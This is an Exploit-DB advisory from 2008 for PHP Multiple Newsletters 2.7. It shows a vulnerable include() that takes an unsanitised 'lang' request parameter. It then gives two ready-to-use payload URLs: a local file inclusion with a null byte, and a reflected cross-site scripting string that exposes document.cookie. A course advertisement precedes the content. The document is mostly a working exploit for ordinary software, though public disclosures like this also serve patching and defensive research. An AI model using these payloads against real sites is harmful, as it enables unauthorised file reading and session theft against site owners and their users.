PHP Multiple Newsletters 2.7 - Local File Inclusion / Cross-Site Scripting

EDB-ID:

7400




Platform:

PHP

Date:

2008-12-09


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

****(Lfi/xss)****

script: PHP_Multiple_Newsletters v2.7

***************************************************************************
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip
   
***************************************************************************
vul:/index.php
line 36:
include ('language/'..$_REQUEST['lang'].'.php');
   
***************************************************
xpl:
www.site.com/path/index.php?lang=[Lfi]%00

xss:
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
...................................................
Author: ahmadbady from:iran

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-09]